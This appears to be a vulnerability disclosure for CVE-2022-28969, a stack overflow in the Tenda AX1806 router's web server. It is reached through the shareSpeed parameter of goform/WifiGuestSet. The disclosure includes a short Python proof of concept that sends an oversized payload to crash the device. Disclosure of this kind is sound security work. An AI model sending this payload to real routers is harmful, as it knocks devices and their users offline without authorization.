Headline
CVE-2022-28969: IoT-vuln/Tenda/AX1806/fromSetWifiGusetBasic at main · d1tto/IoT-vuln
Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow via the shareSpeed parameter in the function fromSetWifiGusetBasic. This vulnerability allows attackers to cause a Denial of Service (DoS).
Overview
- The device’s official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html
Affected version
v1.0.0.1
Vulnerability details
tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the fromSetWifiGusetBasic function, which can be accessed via the URL goform/WifiGuestSet.
The function takes the POST parameter shareSpeed, does not validate its length, and copies it directly to a local variable acStack1888 on the stack, causing a stack overflow.
PoC
Poc of Denial of Service(DoS)
import requests
data = { b"shareSpeed": b’A’*0x800 } res = requests.post("http://127.0.0.1/goform/WifiGuestSet", data=data) print(res.content)
debug result:
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